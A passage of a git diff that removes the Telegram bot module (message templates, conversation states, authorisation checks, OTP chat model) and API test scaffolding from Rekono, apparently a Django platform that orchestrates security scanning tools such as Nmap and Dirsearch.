- - -def select_intensity(update: Update, context: CallbackContext) -> int: - '''Manage selected intensity rank. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - context.chat_data[INTENSITY] = update.callback_query.data.upper() # Save selected intensity - # Confirm selection - update.callback_query.answer(SELECTED_INTENSITY.format(intensity=update.callback_query.data.capitalize())) - return next_state(update, context, chat) # Go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def clear(context: CallbackContext, keys: List[str]) -> None: - '''Clear Telegram context. - - Args: - context (CallbackContext): Telegram Bot context - keys (List[str]): Field keys to clear - ''' - if not context.chat_data: - return - for key in keys: # For each key - if key in context.chat_data: # Key found in context - context.chat_data.pop(key) # Remove field from Telegram context diff --git a/src/backend/telegram_bot/conversations/states.py b/src/backend/telegram_bot/conversations/states.py deleted file mode 100644 index d2bcd01d8..000000000 --- a/src/backend/telegram_bot/conversations/states.py +++ /dev/null @@ -1,14 +0,0 @@ -'''List of available conversation states.''' - -SELECT_PROJECT = 0 -SELECT_TARGET = 1 -SELECT_TARGET_PORT = 2 -SELECT_AUTHENTICATION_TYPE = 3 -SELECT_PROCESS = 4 -SELECT_TOOL = 5 -SELECT_CONFIGURATION = 6 -SELECT_INTENSITY = 7 -SELECT_WORDLIST = 8 -EXECUTE = 9 -CREATE = 10 -CREATE_RELATED = 11 diff --git a/src/backend/telegram_bot/management/__init__.py b/src/backend/telegram_bot/management/__init__.py deleted file mode 100644 index 057243216..000000000 --- a/src/backend/telegram_bot/management/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Management commands.''' diff --git a/src/backend/telegram_bot/management/commands/__init__.py b/src/backend/telegram_bot/management/commands/__init__.py deleted file mode 100644 index 057243216..000000000 --- a/src/backend/telegram_bot/management/commands/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Management commands.''' diff --git a/src/backend/telegram_bot/management/commands/telegram_bot.py b/src/backend/telegram_bot/management/commands/telegram_bot.py deleted file mode 100644 index e3273f685..000000000 --- a/src/backend/telegram_bot/management/commands/telegram_bot.py +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Any - -from django.core.management.base import BaseCommand - -from telegram_bot import bot, token - - -class Command(BaseCommand): - '''Rekono command to deploy Telegram Bot.''' - - help = 'Deploy Telegram Bot' - - def handle(self, *args: Any, **options: Any) -> None: - '''Deploy Telegram Bot.''' - token.wait_until_telegram_token_is_configured(60) # Wait until token is configured - bot.initialize() # Initialize Telegram Bot - bot.deploy() # Deploy Telegram Bot diff --git a/src/backend/telegram_bot/messages/__init__.py b/src/backend/telegram_bot/messages/__init__.py deleted file mode 100644 index 0895d4b85..000000000 --- a/src/backend/telegram_bot/messages/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Rekono Bot messages.''' diff --git a/src/backend/telegram_bot/messages/ask.py b/src/backend/telegram_bot/messages/ask.py deleted file mode 100644 index c5e31457d..000000000 --- a/src/backend/telegram_bot/messages/ask.py +++ /dev/null @@ -1,22 +0,0 @@ -'''Telegram Bot messages that ask the user to choose one option.''' - -ASK_FOR_PROJECT = 'Choose project' -NO_PROJECTS = 'You have no projects\. Go to Rekono to create one or ask your administrator to assign you one' - -ASK_FOR_TARGET = 'Choose target' -NO_TARGETS = 'There are no targets in this project\. Use the command /newtarget' - -ASK_FOR_TARGET_PORT = 'Choose target port' -NO_TARGET_PORTS = 'There are no target ports in this target\. Use the command /newport' - -ASK_FOR_AUTHENTICATION_TYPE = 'Choose authentication type' - -ASK_FOR_PROCESS = 'Choose process' -NO_PROCESSES = 'There are no processes\. Go to Rekono to create one' - -ASK_FOR_TOOL = 'Choose tool' -ASK_FOR_CONFIGURATION = 'Choose configuration' - -ASK_FOR_WORDLIST = 'Choose wordlist' - -ASK_FOR_INTENSITY = 'Choose intensity' diff --git a/src/backend/telegram_bot/messages/basic.py b/src/backend/telegram_bot/messages/basic.py deleted file mode 100644 index edb69c972..000000000 --- a/src/backend/telegram_bot/messages/basic.py +++ /dev/null @@ -1,15 +0,0 @@ -'''Basic Telegram Bot messages.''' - -WELCOME = ''' -*Welcome to Rekono Bot\!* - -To start hacking, add the following token to your Rekono account -After that, you can see the available commands typing /help - -Enjoy\!''' - -OTP = '*{otp}*' - -LINKED = 'Rekono bot has been linked\!' - -LOGOUT = 'Bye\!' diff --git a/src/backend/telegram_bot/messages/constants.py b/src/backend/telegram_bot/messages/constants.py deleted file mode 100644 index 68e468f6f..000000000 --- a/src/backend/telegram_bot/messages/constants.py +++ /dev/null @@ -1,3 +0,0 @@ -'''Telegram Bot messages constants.''' - -DATE_FORMAT = '%Y-%m-%d %H:%M:%S' diff --git a/src/backend/telegram_bot/messages/conversations.py b/src/backend/telegram_bot/messages/conversations.py deleted file mode 100644 index 8b9be80b2..000000000 --- a/src/backend/telegram_bot/messages/conversations.py +++ /dev/null @@ -1,3 +0,0 @@ -'''Basic conversation messages.''' - -CANCEL = 'Operation has been cancelled' diff --git a/src/backend/telegram_bot/messages/errors.py b/src/backend/telegram_bot/messages/errors.py deleted file mode 100644 index 9de8e88b3..000000000 --- a/src/backend/telegram_bot/messages/errors.py +++ /dev/null @@ -1,23 +0,0 @@ -from typing import Dict, List - -from telegram.utils.helpers import escape_markdown - -'''Error messages.''' - -AUTHN_ERROR = 'You have to link your Rekono account before using the Telegram Bot. Use the command /start' -AUTHZ_ERROR = 'You are not authorized to perform this operation' - - -def create_error_message(errors: Dict[str, List[str]]) -> str: - '''Create error message from serializer errors. - - Args: - errors (Dict[str, List[str]]): Serializer errors - - Returns: - str: Text message with error details - ''' - message = '*ERRORS*\n' - for field, messages in errors.items(): # For each invalid field - message += f'_{field}_ {escape_markdown(messages[0], version=2)}' # Include first error message - return message diff --git a/src/backend/telegram_bot/messages/execution.py b/src/backend/telegram_bot/messages/execution.py deleted file mode 100644 index 205203b47..000000000 --- a/src/backend/telegram_bot/messages/execution.py +++ /dev/null @@ -1,146 +0,0 @@ -from typing import List - -from executions.models import Execution -from findings.models import (OSINT, Credential, Exploit, Finding, Host, Path, - Port, Technology, Vulnerability) -from telegram.ext import CallbackContext -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import (CONFIGURATION, INTENSITY, PROCESS, PROJECT, - TARGET, TOOL) -from telegram_bot.messages import findings as messages -from telegram_bot.messages.constants import DATE_FORMAT - -'''Messages related to executions.''' - -EXECUTION_NOTIFICATION = ''' -*{project}* - -_Target_ *{target}* -_Tool_ *{tool}* -_Configuration_ {configuration} -_Status_ *{status}* -_Start_ {start} -_End_ {end} -_Executor_ {executor}{pagination} - -{findings} -''' - -EXECUTION_CONFIRMATION = ''' -The following execution will be launched: - -💼 _Project_ *{project}* -🎯 _Target_ *{target}* -{execution_item} -🔊 _Intensity_ *{intensity}* - -Are you sure? -''' - -PROCESS_CONFIRMATION = '⛓ _Process_ *{process}*' - -TOOL_CONFIRMATION = '''🛠 _Tool_ *{tool}* -📄 _Configuration_ *{configuration}*''' - -EXECUTION_LAUNCHED = '✅ Task {id} created successfully!' - - -def notification_messages(execution: Execution, findings: List[Finding]) -> List[str]: - '''Create text message including execution and findings details. - - Args: - execution (Execution): Execution to include in the message - findings (List[Finding]): Finding list to include in the message - - Returns: - str: Text message with execution and findings details - ''' - text_messages = [] - text_message = '' - entity_title = '' - finding_models = [OSINT, Host, Port, Path, Technology, Credential, Vulnerability, Exploit] - for model in finding_models: # For each finding model - entities = [f for f in findings if isinstance(f, model)] # Get findings related to current model - if entities: # Findings found - entity_title = messages.TITLE.format( # Create finding name title - icon=getattr(messages, f'{model.__name__.upper()}_ICON'), - finding=model.__name__.upper() - ) - text_message += entity_title - for entity in entities: # For each finding - data = vars(entity) # Get finding data - data = {k: v if v else '' for k, v in data.items()} # Clean null values from finding data - for field in [f.__name__.lower() for f in finding_models if hasattr(entity, f.__name__.lower())]: - # For each potential relation with other finding type - # Replace related finding by its string representation - data[field] = getattr(entity, field).__str__() - for finding_model, fields in [ - (Vulnerability, ['technology', 'port']), - (Exploit, ['vulnerability', 'technology']) - ]: - # For each model with multiple findings relations, select the most relevant one - if isinstance(entity, finding_model): - for field in fields: # For each relation field - if hasattr(entity, field) and getattr(entity, field): # Check if field exists - # Add field data to the text message - relation_text = {field: getattr(entity, field).__str__()} - data[field] = getattr(messages, f'{field.upper()}_PARAM').format(**relation_text) - break # Only get the most relevant relation - break - # Escape finding data values - data = {k: v if not isinstance(v, str) else escape_markdown(v, version=2) for k, v in data.items()} - # Add finding data to the text message - text_message += getattr(messages, model.__name__.upper()).format(**data) - # Telegram has a size limit of 4096 characters for messages - # This notifications also includes the Execution title (EXECUTION_NOTIFICATION) - # so we split findings in messages of 3000 characters to prevent errors and make - # the notifications easy to read - if len(text_message) > 3000: - text_messages.append(text_message) - text_message = entity_title - if text_message != entity_title: - text_messages.append(text_message) - notifications = [] - for index, text_message in enumerate(text_messages): - # Create text message with execution details and findings message - notifications.append(EXECUTION_NOTIFICATION.format( - project=escape_markdown(execution.task.target.project.name, version=2), - target=escape_markdown(execution.task.target.target, version=2), - tool=escape_markdown(execution.tool.name, version=2), - configuration=escape_markdown(execution.configuration.name, version=2), - status=escape_markdown(execution.status, version=2), - start=escape_markdown(execution.start.strftime(DATE_FORMAT), version=2), - end=escape_markdown(execution.end.strftime(DATE_FORMAT), version=2), - executor=escape_markdown(execution.task.executor.username, version=2), - pagination='' if len(text_messages) == 1 else f'\n_Part {index + 1}/{len(text_messages)}_', - findings=text_message - )) - return notifications - - -def confirmation_message(context: CallbackContext) -> str: - '''Create text message to ask user for confirmation before start execution. - - Args: - context (CallbackContext): Telegram Bot context - - Returns: - str: Text message for execution confirmation - ''' - execution_item = '' - if context.chat_data: - if TOOL in context.chat_data: # Tool execution - execution_item = TOOL_CONFIRMATION.format( - tool=escape_markdown(context.chat_data[TOOL].name, version=2), - configuration=escape_markdown(context.chat_data[CONFIGURATION].name, version=2) - ) - elif PROCESS in context.chat_data: # Process execution - execution_item = PROCESS_CONFIRMATION.format( - process=escape_markdown(context.chat_data[PROCESS].name, version=2) - ) - return EXECUTION_CONFIRMATION.format( # Create confirmation message - project=escape_markdown(context.chat_data[PROJECT].name, version=2), - target=escape_markdown(context.chat_data[TARGET].target, version=2), - execution_item=execution_item, - intensity=context.chat_data[INTENSITY].capitalize() - ) diff --git a/src/backend/telegram_bot/messages/findings.py b/src/backend/telegram_bot/messages/findings.py deleted file mode 100644 index ba4f5d0c7..000000000 --- a/src/backend/telegram_bot/messages/findings.py +++ /dev/null @@ -1,78 +0,0 @@ -'''Messages with findings data for execution notification.''' - -TITLE = ''' -\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ - -{icon} *{finding}* -''' - -OSINT_ICON = '🗣' -OSINT = ''' -_Data_ *{data}* -_Data type_ {data_type} -_Source_ {source} -''' - -HOST_ICON = '🖥 ' -HOST = ''' -_Address_ *{address}* -_OS_ {os} -_OS type_ {os_type} -''' - -PORT_ICON = '🚪' -PORT = ''' -_Host_ *{host}* -_Port_ *{port}* -_Status_ {status} -_Protocol_ {protocol} -_Service_ {service} -''' -PORT_PARAM = ''' -_Port_ *{port}* -''' - -PATH_ICON = '🌐' -PATH = ''' -_Port_ *{port}* -_Type_ {type} -_Path_ *{path}* -_Status_ {status} -_Extra_ {extra} -''' - -TECHNOLOGY_ICON = '🖲' -TECHNOLOGY = ''' -_Port_ *{port}* -_Name_ *{name}* -_Version_ {version} -''' -TECHNOLOGY_PARAM = ''' -_Technology_ *{technology}* -''' - -CREDENTIAL_ICON = '🔑' -CREDENTIAL = ''' -_Email_ *{email}* -_Username_ *{username}* -_Secret_ *{secret}* -_Context_ *{context}* -''' - -VULNERABILITY_ICON = '🐛' -VULNERABILITY = ''' -_Name_ *{name}* -_Description_ {description} -_Severity_ {severity} -_CVE_ *{cve}* -_Reference_ {reference} -''' -VULNERABILITY_PARAM = ''' -_Vulnerability_ *{vulnerability}* -''' - -EXPLOIT_ICON = '🧨' -EXPLOIT = ''' -_Title_ *{title}* -_Reference_ {reference} -''' diff --git a/src/backend/telegram_bot/messages/help.py b/src/backend/telegram_bot/messages/help.py deleted file mode 100644 index 92c103b8c..000000000 --- a/src/backend/telegram_bot/messages/help.py +++ /dev/null @@ -1,63 +0,0 @@ -from typing import List, Tuple - -from rekono.settings import DESCRIPTION -from telegram.utils.helpers import escape_markdown - -'''Help messages.''' - - -UNAUTH_HELP = 'To initialize Rekono Bot use the command /start' - -HELP = [ - ('start', '', 'Initialize the Rekono bot'), - ('logout', '', 'Unlink bot from your account'), - ('help', '', 'Show this message'), - ('selectproject', 'Selection', 'Select one project to be used in next operations'), - ('showproject', 'Selection', 'Show selected project'), - ('clearproject', 'Selection', 'Unselect the selected project'), - ('newtarget', 'Targets', 'Create new target'), - ('newport', 'Targets', 'Create new target port'), - ('newauth', 'Targets', 'Create new authentication'), - ('newtechnology', 'Parameters', 'Create new input technology'), - ('newvulnerability', 'Parameters', 'Create new input vulnerability'), - ('tool', 'Execution', 'Execute tool'), - ('process', 'Execution', 'Execute process'), - ('cancel', 'Common', 'Cancel current operation') -] - - -def get_my_commands() -> List[Tuple[str, str]]: - '''Get Telegram commands from commands definition. - - Returns: - List[Tuple[str, str]]: Telegram command list - ''' - return [(c, d) for c, _, d, in HELP] - - -def get_help_message(commands: List[Tuple[str, str, str]] = HELP) -> str: - '''Get help message from commands definition. - - Args: - commands (List[Tuple[str, str, str]], optional): Command definition. If not set, default commands will be used - - Returns: - str: Help message - ''' - message = f'{escape_markdown(DESCRIPTION, version=2)}\n\n' # Add Rekono description - current_section = '' - for command, section, description in commands: # For each command - if section != current_section: # New section - message += f'\n*{section}*\n' # Add section title - current_section = section - message += f'/{command} \- {escape_markdown(description, version=2)}\n' # Add command details - return message - - -def get_reader_help_message() -> str: - '''Get help message for reader user. Only basic commands will be included. - - Returns: - str: Help message for reader user - ''' - return get_help_message([(c, s, d) for c, s, d in HELP if not s]) # Get help message for basic commands diff --git a/src/backend/telegram_bot/messages/parameters.py b/src/backend/telegram_bot/messages/parameters.py deleted file mode 100644 index 7fff4012c..000000000 --- a/src/backend/telegram_bot/messages/parameters.py +++ /dev/null @@ -1,10 +0,0 @@ -'''Messages for parameters management.''' - -ASK_FOR_NEW_AUTHENTICATION = 'What are the credentials? Please, use the format :' -NEW_AUTHENTICATION = 'New authentication *{name}* for *{target}:{port}*' - -ASK_FOR_NEW_INPUT_TECHNOLOGY = 'What is the input technology? Please, use the format " - "' -NEW_INPUT_TECHNOLOGY = 'New input technology *{name}* for target *{target}*' - -ASK_FOR_NEW_INPUT_VULNERABILITY = 'What is the CVE?' -NEW_INPUT_VULNERABILITY = 'New input vulnerability *{cve}* for target *{target}*' diff --git a/src/backend/telegram_bot/messages/selection.py b/src/backend/telegram_bot/messages/selection.py deleted file mode 100644 index 8dad230f3..000000000 --- a/src/backend/telegram_bot/messages/selection.py +++ /dev/null @@ -1,14 +0,0 @@ -'''Messages for selection management.''' - -SELECTED_PROJECT = 'Project {project} has been selected' -SELECTED_TARGET = 'Target {target} has been selected' -SELECTED_TARGET_PORT = 'Target port {port} has been selected' -SELECTED_PROCESS = 'Process {process} has been selected' -SELECTED_TOOL = 'Tool {tool} has been selected' -SELECTED_CONFIGURATION = 'Configuration {configuration} has been selected' -SELECTED_WORDLIST = 'Wordlist {wordlist} has been selected' -SELECTED_INTENSITY = 'Intensity {intensity} has been selected' - -SELECTION = '💼 _Project_ *{project}*' -NO_SELECTION = 'No selected project. Use the command /selectproject' -CLEAR_SELECTION = 'Project has been unselected' diff --git a/src/backend/telegram_bot/messages/targets.py b/src/backend/telegram_bot/messages/targets.py deleted file mode 100644 index aa99bec68..000000000 --- a/src/backend/telegram_bot/messages/targets.py +++ /dev/null @@ -1,8 +0,0 @@ -'''Messages for targets management.''' - -ASK_FOR_NEW_TARGET = 'What is the target address? Remember it can be IP address, IP range, domain or network' -NEW_TARGET = 'New target *{target}* \(_{target_type}_\) created in project *{project}*' - -ASK_FOR_NEW_TARGET_PORT = 'What is the target port number?' -NEW_TARGET_PORT = 'New target port *{port}* for target *{target}*' -INVALID_TARGET_PORT = 'Port should be a valid number' diff --git a/src/backend/telegram_bot/migrations/0001_initial.py b/src/backend/telegram_bot/migrations/0001_initial.py deleted file mode 100644 index 4718baf52..000000000 --- a/src/backend/telegram_bot/migrations/0001_initial.py +++ /dev/null @@ -1,25 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.db import migrations, models -import security.otp - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='TelegramChat', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('chat_id', models.IntegerField(unique=True)), - ('creation', models.DateTimeField(auto_now_add=True)), - ('otp', models.TextField(blank=True, max_length=200, null=True, unique=True)), - ('otp_expiration', models.DateTimeField(blank=True, default=security.otp.get_expiration, null=True)), - ], - ), - ] diff --git a/src/backend/telegram_bot/migrations/0002_telegramchat_user.py b/src/backend/telegram_bot/migrations/0002_telegramchat_user.py deleted file mode 100644 index 232a4b54e..000000000 --- a/src/backend/telegram_bot/migrations/0002_telegramchat_user.py +++ /dev/null @@ -1,23 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.conf import settings -from django.db import migrations, models -import django.db.models.deletion - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ('telegram_bot', '0001_initial'), - ] - - operations = [ - migrations.AddField( - model_name='telegramchat', - name='user', - field=models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='telegram_chat', to=settings.AUTH_USER_MODEL), - ), - ] diff --git a/src/backend/telegram_bot/migrations/__init__.py b/src/backend/telegram_bot/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/telegram_bot/models.py b/src/backend/telegram_bot/models.py deleted file mode 100644 index 1b950ac4a..000000000 --- a/src/backend/telegram_bot/models.py +++ /dev/null @@ -1,21 +0,0 @@ -from django.conf import settings -from django.db import models -from security.otp import get_expiration - -# Create your models here. - - -class TelegramChat(models.Model): - '''Telegram Chat model.''' - - user = models.OneToOneField( # Linked user account - settings.AUTH_USER_MODEL, - on_delete=models.CASCADE, - related_name='telegram_chat', - blank=True, - null=True - ) - chat_id = models.IntegerField(unique=True) # Telegram chat Id - creation = models.DateTimeField(auto_now_add=True) # Telegram chat creation date - otp = models.TextField(max_length=200, unique=True, blank=True, null=True) # One Time Password to link user account - otp_expiration = models.DateTimeField(default=get_expiration, blank=True, null=True) # OTP expiration date diff --git a/src/backend/telegram_bot/security.py b/src/backend/telegram_bot/security.py deleted file mode 100644 index 8d97e9ff9..000000000 --- a/src/backend/telegram_bot/security.py +++ /dev/null @@ -1,52 +0,0 @@ -import logging -from typing import Union - -from django.db.models import Q -from security.authorization.roles import Role -from telegram.update import Update -from telegram_bot.messages.errors import AUTHN_ERROR, AUTHZ_ERROR -from telegram_bot.models import TelegramChat - -logger = logging.getLogger() # Rekono logger - - -def check_auditor(chat: TelegramChat) -> bool: - '''Check if a Telegram chat is used by an Auditor or an Admin. - - Args: - chat (TelegramChat): Telegram chat to verify - - Returns: - bool: Indicate if the chat is used by an Auditor or an Admin - ''' - if chat and chat.user: - # Check if user role is Auditor or Admin - return chat.user.groups.filter(Q(name=str(Role.AUDITOR)) | Q(name=str(Role.ADMIN))).exists() - return False # Chat not found or unlinked - - -def get_chat(update: Update, auditor: bool = True) -> Union[TelegramChat, None]: - '''Get Telegram chat entity after checking linked account and user role. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - TelegramChat: Telegram chat entity if the user is authorized - ''' - if update.effective_chat and update.effective_message: # Chat Id from the update - # Get chat entity - chat = TelegramChat.objects.filter(chat_id=update.effective_chat.id, user__is_active=True).first() - if not chat: # No chat found - logger.error('[Telegram Bot] Unauthenticated request') - update.effective_message.reply_text(AUTHN_ERROR) # Authentication error - elif auditor and not check_auditor(chat): # User is not auditor - logger.error( - f'[Telegram Bot] User {chat.user.id} isn\'t authorized to use Telegram bot', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text(AUTHZ_ERROR) # Authorization error - else: - return chat # Chat is authorized - return None # Unauthorized chat diff --git a/src/backend/telegram_bot/sender.py b/src/backend/telegram_bot/sender.py deleted file mode 100644 index 51d6c0eb3..000000000 --- a/src/backend/telegram_bot/sender.py +++ /dev/null @@ -1,21 +0,0 @@ -import logging - -from system.models import System -from telegram import ParseMode -from telegram.ext import Updater - -logger = logging.getLogger() # Rekono logger - - -def send_message(chat_id: int, text: str) -> None: - '''Send Telegram message. - - Args: - chat_id (int): Destinatary Telegram chat Id - text (str): Text message with markdown style - ''' - try: - updater = Updater(token=System.objects.first().telegram_bot_token) # Telegram client - updater.bot.send_message(chat_id, text=text, parse_mode=ParseMode.MARKDOWN_V2) # Send Telegram text message - except Exception as ex: - logger.error(f'[Telegram] Error during Telegram message sending: {str(ex)}') diff --git a/src/backend/telegram_bot/token.py b/src/backend/telegram_bot/token.py deleted file mode 100644 index 6680afd6c..000000000 --- a/src/backend/telegram_bot/token.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -import time -from typing import Callable - -from system.models import System - -logger = logging.getLogger() # Rekono logger - - -def wait_until_telegram_token_is_configured(sleep_time: int) -> None: - '''Wait until Teelgram token is configured - - Args: - sleep_time (int): Seconds to sleep - ''' - token = System.objects.first().telegram_bot_token # Check the Telegram token - if not token: - logger.info('[Telegram Bot] Waiting until Telegram token is configured') - while not token: - time.sleep(sleep_time) # Sleep some time - token = System.objects.first().telegram_bot_token # Check the Telegram token again - - -def handle_invalid_telegram_token(callback: Callable) -> None: - '''Handle errors due to invalid Telegram token - - Args: - callback (Callable): Function to call after the Telegram token is configured - ''' - logger.error('[Telegram Bot] Error during Telegram bot authentication') - system = System.objects.first() - system.telegram_bot_token = None # Remove Telegram token - system.save(update_fields=['telegram_bot_token']) - wait_until_telegram_token_is_configured(30) # Wait until token is configured - callback() diff --git a/src/backend/testing/__init__.py b/src/backend/testing/__init__.py deleted file mode 100644 index 43d955302..000000000 --- a/src/backend/testing/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Testing for Rekono.''' diff --git a/src/backend/testing/api/__init__.py b/src/backend/testing/api/__init__.py deleted file mode 100644 index 18d852970..000000000 --- a/src/backend/testing/api/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Testing for Rekono API.''' diff --git a/src/backend/testing/api/base.py b/src/backend/testing/api/base.py deleted file mode 100644 index f31caf898..000000000 --- a/src/backend/testing/api/base.py +++ /dev/null @@ -1,207 +0,0 @@ -import json -import os -from typing import Any, Callable, Dict, List, Tuple - -import django_rq -from django.http import HttpResponse -from django.utils import timezone -from executions.models import Execution -from findings.enums import OSType, PortStatus, Protocol -from findings.models import Host, Path, Port -from parameters.models import InputTechnology, InputVulnerability -from processes.models import Process, Step -from projects.models import Project -from rekono.settings import RQ_QUEUES -from rest_framework.test import APIClient -from rq import SimpleWorker -from targets.models import Target, TargetPort -from tasks.enums import Status -from tasks.models import Task -from testing.test_case import RekonoTestCase -from tools.enums import IntensityRank -from tools.models import Configuration, Tool -from users.models import User - - -class RekonoApiTestCase(RekonoTestCase): - '''Base test case.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'data') # Testing data path - # Create user for test authenticated requests - self.credential = 'rekono' # Credentials for testing user - self.email = 'rekono@rekono.rekono' # Email for testing user - self.admin, self.access, self.refresh = self.create_and_login(self.credential, self.email) - # Create other user for unauthorized requests - self.other_credential = 'other' # Credentials for other user - self.other_email = 'other@other.other' # Email for other user - self.other, self.other_access, self.other_refresh = self.create_and_login( - self.other_credential, - self.other_email - ) - # Rekono API clients - self.client = APIClient(HTTP_AUTHORIZATION=f'Bearer {self.access}') # Authenticated and Authorized - self.other_client = APIClient(HTTP_AUTHORIZATION=f'Bearer {self.other_access}') # Unauthorized - self.unauthn_client = APIClient() # Unauthenticated - # Create project for testing - self.project = Project.objects.create(name='Test', description='Test', tags=['test'], owner=self.admin) - self.project.members.add(self.admin) - self.models: Dict[Any, str] = {} # Models to test __str__ method - # Indicate if environment has been initialized - self.initialized = False - - def initialize_environment(self) -> None: - '''Initialize environment for testing.''' - self.initialized = True - self.target = Target.objects.create(project=self.project, target='scanme.nmap.org') - self.target_port = TargetPort.objects.create(target=self.target, port=80) - self.input_technology = InputTechnology.objects.create( - target=self.target, - name='WordPress', - version='1.0.0' - ) - self.input_vulnerability = InputVulnerability.objects.create( - target=self.target, - cve='CVE-2021-44228' - ) - self.nmap = Tool.objects.get(name='Nmap') - self.nmap_configuration = Configuration.objects.get(tool=self.nmap, default=True) - self.dirsearch = Tool.objects.get(name='Dirsearch') - self.dirsearch_configuration = Configuration.objects.get(tool=self.dirsearch, default=True) - self.process = Process.objects.create(name='Test', description='Test', tags=['test'], creator=self.admin) - self.step = Step.objects.create(process=self.process, tool=self.nmap, configuration=self.nmap_configuration) - self.step_1 = Step.objects.create( - process=self.process, - tool=self.dirsearch, - configuration=self.dirsearch_configuration - ) - self.task = Task.objects.create( - target=self.target, - tool=self.nmap, - configuration=self.nmap_configuration, - intensity=IntensityRank.NORMAL, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - self.execution = Execution.objects.create( - task=self.task, - tool=self.task.tool, - configuration=self.task.configuration, - status=Status.COMPLETED, - output_file=os.path.join(self.data_path, 'reports', 'nmap', 'ftp-vulnerabilities.xml'), - start=timezone.now(), - end=timezone.now() - ) - self.host = Host.objects.create(address='45.33.32.156', os='Ubuntu', os_type=OSType.LINUX) - self.host.executions.add(self.execution) - self.port = Port.objects.create( - host=self.host, port=80, status=PortStatus.OPEN, - protocol=Protocol.TCP, service='http' - ) - self.port.executions.add(self.execution) - self.http_path = Path.objects.create(port=self.port, path='/robots.txt', status=200) - self.http_path.executions.add(self.execution) - - def tearDown(self) -> None: - '''Run code after run tests.''' - super().tearDown() - self.clear_rq_queues() # Clear enqueued jobs - - def get_rq_queues(self) -> List[Any]: - '''Get Redis Queues for testing.''' - return [django_rq.get_queue(q) for q in RQ_QUEUES.keys() if q != 'emails-queue'] - - def launch_rq_worker(self) -> None: - '''Launch Redis Queue worker for testing under demand.''' - queues = self.get_rq_queues() - worker = SimpleWorker(queues, connection=queues[0].connection) # Create worker with all needed queues - worker.work(burst=True) # Run RQ woker - - def clear_rq_queues(self) -> None: - '''Clear enqueued jobs in Redis Queues during tests execution.''' - queues = self.get_rq_queues() - for queue in queues: - queue.empty() # Clear queue - - def get_content(self, response: HttpResponse) -> Dict[Any, Any]: - '''Get content from HTTP response. - - Args: - response (HttpResponse): HTTP response - - Returns: - Dict[Any, Any]: Response content - ''' - return json.loads(response.content.decode('utf-8')) if response.content else {} - - def check_fields(self, fields: List[str], content: Dict[str, Any], expected: Dict[str, Any]) -> None: - '''Check expected values for some response fields. - - Args: - fields (List[str]): List of field names - content (Dict[str, Any]): Response content - expected (Dict[str, Any]): Expected data - ''' - for field in fields: - if hasattr(expected, field): - self.assertEqual(getattr(expected, field), content[field]) - else: - self.assertEqual(expected[field], content[field]) - - def api_test(self, request: Callable, endpoint: str, status_code: int = 200, **kwargs: Any) -> Dict[Any, Any]: - '''Make Rekono API request and check response. - - Args: - request (Callable): Method to make Rekono API request - endpoint (str): Rekono endpoint to call - status_code (int, optional): Expected HTTP status code. Defaults to 200. - - Returns: - Dict[Any, Any]: Response content - ''' - if kwargs.get('data'): # HTTP body - # Make Rekono API request - response = request(endpoint, data=kwargs['data'], format=kwargs.get('format', 'json')) - else: # No HTTP body - response = request(endpoint) # Make Rekono API request - self.assertEqual(status_code, response.status_code) # Check HTTP status code - content = self.get_content(response) # Get content from HTTP response - if kwargs.get('expected'): # Expected response content - self.check_fields(list(kwargs['expected'].keys()), content, kwargs['expected']) # Check expected data - return content - - def login(self, username: str, password: str) -> Tuple[str, str]: - '''Log in Rekono. - - Args: - username (str): Username to login - password (str): Password to login - - Returns: - Tuple[str, str]: Access and refresh tokens - ''' - data = {'username': username, 'password': password} # Login data - content = self.api_test(APIClient().post, '/api/token/', 200, data=data) # Login request - return content['access'], content['refresh'] - - def create_and_login(self, credential: str, email: str) -> Tuple[User, str, str]: - '''Create new user and log in Rekono. - - Args: - credential (str): Value to be used as username and password - email (str): User email - - Returns: - Tuple[User, str, str]: User entity, access and refresh tokens - ''' - user = User.objects.create_superuser(credential, email, credential) # Create user - access, refresh = self.login(credential, credential) # Log in Rekono - return user, access, refresh - - def test_model_representation(self) -> None: - '''Test __str__ method for selected models.''' - for model, expected in self.models.items(): - self.assertEqual(expected, model.__str__()) diff --git a/src/backend/testing/api/test_authentications.py b/src/backend/testing/api/test_authentications.py deleted file mode 100644 index 7d2befb9a..000000000 --- a/src/backend/testing/api/test_authentications.py +++ /dev/null @@ -1,57 +0,0 @@ -from authentications.enums import AuthenticationType -from authentications.models import Authentication -from testing.api.base import RekonoApiTestCase - - -class AuthenticationTest(RekonoApiTestCase): - '''Test cases for Authentication entity.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/authentications/' # Authentication API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.data = { - 'target_port': self.target_port.id, - 'name': 'admin', - 'credential': 'admin', - 'type': 